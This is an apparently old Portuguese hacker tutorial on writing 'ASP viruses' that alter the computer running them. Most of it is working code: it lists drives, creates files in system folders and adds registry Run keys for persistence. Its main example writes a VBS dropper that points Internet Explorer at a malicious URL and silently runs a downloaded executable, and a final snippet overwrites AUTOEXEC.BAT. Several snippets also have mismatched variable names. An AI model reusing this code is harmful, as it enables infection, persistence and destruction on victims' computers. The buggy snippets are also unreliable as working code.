ASP Viruses < Stinger > stinger@motdlabs.org http://stinger.motdlabs.org ********************************************************************** * * * * * * * * ********************************************************************** Virus é um programa de computador que possui funçoes maliciosas! ERRADO!!! Ao que parece ao longo dos anos virus tem se tornado mais conceito do que programa, hoje em dia até paginas da Web podem infectar computadores. Vamos ver como. Eu já escrevi docs em minha pagina sobre Active Server Pages, e eu assumo aqui que voce deva ter o conhecimento basico sobre ela. Para nossos intentos precisamos de um componente ASP conhecido como ASP MagicBundle. Voce pode pegar ele em: http://www.aspmagicobjects.com/download/aspcomponents/magicbundle/InstallMB.EXE A instalação é muito simples, basta pegar a DLL (MagicBundle.dll) e esparramar no mesmo diretorio aonde estao as paginas que vao infectar o computador. As infos aqui esparramadas foram obtidas no proprio help do produto, e em alguns tutoriais que tenho em posse. Componente O componente possui 4 classes que sao: MagicDisk MagicFile MagicRegistry MagicINI Pronto com isso podemos estabelecer as bases para criarmos uma pagina de infecção num computador alvo. Vamos só ver algumas coisitas. MagicDisk Essa é a classe responsavel por realizar operaçoes no disco. Como calcular a capacidade/espaço do mesmo. Essa classe possui os seguintes metodos: GetDisks SetDisk GetLastErrorNbr GetLastErrorDscr Por sua vez estes métodos possuem suas propriedades equivalentes: GetTotalSpace Property GetFreeSpace Property GetFreePercent Property GetUsedPercent Property Já podemos 'navegar' por esses metodos e visualizarmos a sua sintaxe: Metodos GETDISK object.GetDisks(varDisks, varTypes) Podemos ver que ele passa argumentos a subrotina nesse caso object.GetDisks em cujos valores estaticos sao setados: varDisks - Retornando os nomes(C:, D: etc) das drives no PC ou aquelas que estao em rede. varTypes - Retorna um valor indicando os tipos de drive. Antes gostaria de dizer uma coisa. Esses valores sao 0 para um resultado falho e nao 0 para um resultado positivo. SETDISK object.SetDisk(varDisk) Seta um valor para a drive que é o valor da letra(pode ser C) seguida por ':' GETLASTERROR object.GetLastErrorNbr Retorna o numero do ultimo erro da pagina Syntax: object.GetLastErrorDscr Descreve o ultimo o erro retornado Propriedades GETTOTALSPACE object.GetTotalSpace Descreve o espaço total em disco disponivel em bytes da drive no computador ou na rede. GETFREESPACE object.GetFreeSpace Retorna o valor de espaço livre na drive GETFREEPERCENT object.GetFreePercent Descreve o espaço total em disco disponivel(só que em percentagem) em bytes da drive no computador ou na rede. GETUSEDPERCENT object.GetFreeSpace Retorna o espaço usado pela drive só que em percentagem. Penso que ja podemos começar a brincar. Vamos a um exemplo basico. Exempage1.asp <% 'Declaramos as variaveis Dim espacolivre Dim espacototal 'Em seguida chamamos o objecto Set MyObj=Server.CreateObject("MagicBundle.MagicDisk") 'Setamos o valor da drive do computador alvo Call MyObj.SetDisk ("c:\") espacototal=MyObj.GetTotalSpace espacolivre=myobj.GetFreeSpace 'Em seguida imprimimos os valores recolhidos response.write ("
Tem um Lammer na tua Drive:
") response.write("Espaço livre em disco " & espacolive & "
") response.write("Espaço total em disco " & espacototal & "
") %> Isso chega para nosso exemplo. Voce vai ver abaixo como ele é muito util. Vamos ver a classe MagicFile Metodos CreateNewDirectory CopyDirectory DirScanRecursive DirScanSimple DirList SortDirList RemoveFromDirList CleanDirList FileScanRecursive FileScanSimple FileList SortFileList RemoveFromFileList CleanFileList IsExists CopyFile GetLastErrorNbr GetLastErrorDscr Podemos ver acima que isso só vai dar gosto temos por exemplo o metodo CreateNewDirectory que é muito interessante vamos ver um exemplo: <% Dim dir Set MyObj=Server.CreateObject("MagicBundle.MagicFile") dir = MyObj.CreateNewDirectory("c:\testevirus") if dir 'Usamos aqui um artificio 'Se for der certo ele cria o diretorio e imprime uma msg response.write("Directorio testevirus criado.") 'Se nao der certo ele imprime qual foi o erro 'Que aconteceu Else response.write(" " & MyObj.GetLastErrorNbr & " ") response.write(MyObj.GetLastErrorDscr) End if Set MyObj = nothing %> MyObj.GetLastErrorNbr e MyObj.GetLastErrorDscr sao parametros 'default' da função MagicBundle.MagicFile. Eles retornam os erros que aconteceram. E no fim setamos Set MyObj = nothing declarando assim o fim do uso do respectivo objecto. Que tal copiar esse novo dir para o directorio system? <% Set MyObj=Server.CreateObject("MagicBundle.MagicFile") cpdir = MyObj.CopyDirectory("c:\testevirus", "c:\windows\system") if cpdir then Response.write("Directorio copiado") Else response.write(" " & MyObj.GetLastErrorNbr & " ") response.write(MyObj.GetLastErrorDscr) End if Set MyObj = nothing %> Como saber todos os subdiretorios que um diretorio possui? <% Set MyObj=Server.CreateObject("MagicBundle.MagicFile") Dim x If (MyObj.DirScanRecursive("c:\"))=0 then response.write(" " & MyObj.GetLastErrorNbr & " ") response.write(MyObj.GetLastErrorDscr) Else for x=0 to MyObj.DirCount-1 response.write(MyObj.DirList(x)) Next end if call MyObj.CleanDirList set MyObj = nothing %> Como criar um arquivo no computador alvo? Simples usamos o objecto 'Scripting.FileSystemObject' : <% Set var = CreateObject("Scripting.FileSystemObject") txt="Computador Infectado" xtx="Com Virus Lerdas" Set wfile = fs.CreateTextFile("c:\virus.txt", True) file.Writeline(txt) file.Writeline(xtx) file.close Set file=nothing Set var=nothing response.write("Computador Infectado") %> Esse exemplo acima cria um arquivo em c:\virus.txt com o conteudo Computador Infectado Com Virus Lerdas Em seguida podemos até abrir o arquivo e le-lo linha a linha: <% Set var = CreateObject("Scripting.FileSystemObject") Set vir = fs.OpenTextFile("c:\virus.txt") instr1 = file.ReadLine instr2 = file.ReadLine 'Aqui brincamos um pouco: Select Case instr1 Case "Computador Infectado" Response.Write("Ainda nao patcheou?") End Select Select Case instr2 Case "Com Virus Lerdas" Response.Write("Nao precisa, tem virus lerda por ai") End Select file.close Set file=nothing Set var=nothing %> Esse exemplo acima lê linha a linha o arquivo. Podemos pegar o exemplo acima e ler todo o arquivo em vez de ler linha a linha : <% Set var = CreateObject("Scripting.FileSystemObject") Set file = fs.OpenTextFile("c:\virus.txt") completo = wfile.ReadAll file.close Set file=nothing Set var=nothing response.write(completo) %> Mas e se o mesmo foi apagado? Podemos saber se ele existe ou nao : <% Set MyObj=Server.CreateObject("MagicBundle.MagicFile") If MyObj.IsExists("c:\virus.txt") then response.write("O arquivo existe.") ' Mas se NAO existir ' Toca lá a criar Else Set var = CreateObject("Scripting.FileSystemObject") txt="Computador Infectado" xtx="Com Virus Lerdas" Set wfile = fs.CreateTextFile("c:\virus.txt", True) file.Write(txt) file.Write(xtx) file.close response.write("Computador Infectado") End If set MyObj=Nothing Set file=nothing Set var=nothing %> Tentamos obter o numero de arquivos executaveis na drive C:\ <% Set MyObj=Server.CreateObject("MagicBundle.MagicFile") If (MyObj.FileScanRecursive("c:\", "*.exe"))=0 then response.write("Nenhum arquivo executavel encontrado") Else response.write(MyObj.Count & " Arquivos Executaveis encontradosChaves criadas com sucesso em:
") response.write("HKEY_CURRENT_USER\VIRUS\VIRUS1\VIROTICO") else response.write("Erro encontrado
") response.write("O erro encontrado foi:
") response.write(" " & MyObj.GetLastErrorNbr & " ") response.write(MyObj.GetLastErrorDscr) set MyObj=Nothing %> Podemos apagar essa chave que criamos: <% ' Chamamos Set MyObj=Server.CreateObject("MagicBundle.MagicRegistry") MyObj.SelectSection("HKCU") MyObj.DeleteKey("VIRUS\VIRUS1\VIROTICO") response.write("Chave HKEY_CURRENT_USER\VIRUS\VIRUS1\VIROTICO Apagada") set MyObj=Nothing %> Podemos inclusive nos conectar da red a um PC e fazer todo trabalho hehe: <% Set MyObj=Server.CreateObject("MagicBundle.MagicRegistry") ' Setamos o PC compartilhado da rede MyObj.ConnectToRemote("\\pc-rede2") response.write("Conexao realizada") 'Selecionamos a secção aonde vamos 'brincar' MyObj.SelectSection("HKLM") ' Criamos uma chave surpresinha... MyObj.CreateNewKey("STINGER\PASSOU\AQUI") set MyObj=Nothing %> Podemos 'açucarar' a coisa e setarmos a pagina inicial do IE para uma contendo um codigo malicioso, quem sabe um Trojan, Backdoor, ou sei lá. Assim quando o usuario alvo abre a pagina imediatamente é baixado um virus no PC. Começamos por criar um arquivo chamado virus.vbs (Visual Basic Script): <% 'Baseado num paper do Nash. Esse codigo seta a pagina inicial do 'Internet Explorer para um codigo malicioso e em seguida 'volta a setar ela para uma pagina normal 'Foi criado pelo Nash em VBS. Mas eu modifiquei ele de modo que 'ao acessar a pagina em ASP ela cria um arquivo em VBS que 'Faz o trabalho todinho. Set var = CreateObject("Scripting.FileSystemObject") Set file = fs.CreateTextFile("c:\virus.vbs", True) file.Writeline("******************Inicio do Codigo**********************") file.Writeline("***********************Stinger**************************") file.Writeline("************Baseado em codigo de Nashleon***************") file.Writeline("Dim script") file.Writeline("Dim transfer") file.Writeline("Dim iniciar") file.Writeline("Dim confirma") file.Writeline("Set ws = CreateObject("Scripting.FileSystemObject")") file.Writeline("main()") file.Writeline("sub main()") file.Writeline("Set transfer = script.GetFile(WScript.ScriptFullName)") file.Writeline("Set ws = CreateObject("WScript.Shell")") file.Writeline("'Transferimos o virus para diferentes localizações") file.Writeline("transfer.Copy("c:\windows\virus.vbs")") file.Writeline("transfer.Copy("c:\winnt\virus.vbs")") file.Writeline("transfer.Copy("c:\windows\system\virus.vbs")") file.Writeline("regedit.RegWrite") file.Writeline(""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\virus","c:\virus.vbs"") file.Writeline("' Aqui entra a pagina que contem o codigo malicioso") file.Writeline("regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet") file.Writeline("Explorer\Main\Start Page","http://www.sitemalicioso.ao/virus.exe"") file.Writeline("confirma=""") file.Writeline("confirma=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet") file.Writeline("Explorer\Download Directory")") file.Writeline("if (confirma="") then") file.Writeline("confirma="c:\"") file.Writeline("end if") file.Writeline("if (script.FileExists("c:\virus.exe")) then") file.Writeline("regedit.RegWrite") file.Writeline(""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\virus"") file.Writeline(","c:\virus.exe"") file.Writeline("'Alteramos a página inicial") file.Writeline("regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet") file.Writeline("Explorer\Main\Start Page","http://www.site-legal.ao/"") 'Em seguida executamos o virus file.Writeline("ws.Run ("c:\virus.exe"), vbHide") file.Writeline("end if") file.Writeline("end sub ") file.close Set file=nothing Set var=nothing response.write("Computador Infectado") %> O exemplo acima é apenas uma pequena demonstração do perigo dos virus em ASP combinadas com tecnicas em VBS. Bem eu ainda nao falei de valores. Por exemplo podemos atribuir valores as chaves que criamos acima: <% Set MyObj=Server.CreateObject("MagicBundle.MagicRegistry") MyObj.SelectSection("HKLM") MyObj.CreateNewKey("VIRUS\VIRUS1\VIROTICO") MyObj.SetKeyValue("VIRUS\VIRUS1\VIROTICO", "Virus", "c:\virus.exe") response.write("Chaves criadas com sucesso em:
") response.write("HKEY_CURRENT_USER\VIRUS\VIRUS1\VIROTICO") set MyObj=Nothing %> Podemos até começar a visualizar casos de sobrescrevimento de arquivos. Este exemplo subrescreve o arquivo AUTOEXEC.BAT do Windows: <% str1="SET windir=C:\VIRUS" str2="SET winbootdir=C:\VIRUS" str3="SET COMSPEC=C:\VIRUS.EXE" str4="SET PATH=C:\VIRUS" Set fs = CreateObject("Scripting.FileSystemObject") Set file = fs.CreateTextFile("c:\AUTOEXEC.BAT", True) file.Writeline (str1) file.Writeline (str2) file.Writeline (str3) file.Writeline (str4) file.close Set file=nothing Set fs=nothing response.write("Autoexec Infectado
") %> Acho que nem preciso explicar isso ai em cima, mas tá bom lá vai o mais importante Essa Linha: Set file = fs.CreateTextFile("c:\AUTOEXEC.BAT", True) Repare que tem um campo True ai, se fosse False o script pararia a sua execução e nao sobrecreveria o arquivo mas como setei True ele sobrescreve o mesmo. Eu vou ficando por aqui como viram nem falei de esquemas de encriptação. Ai a coisa começa a ficar mais divertida mais tambem mais complicada. Aguardem novos papers vem por ai.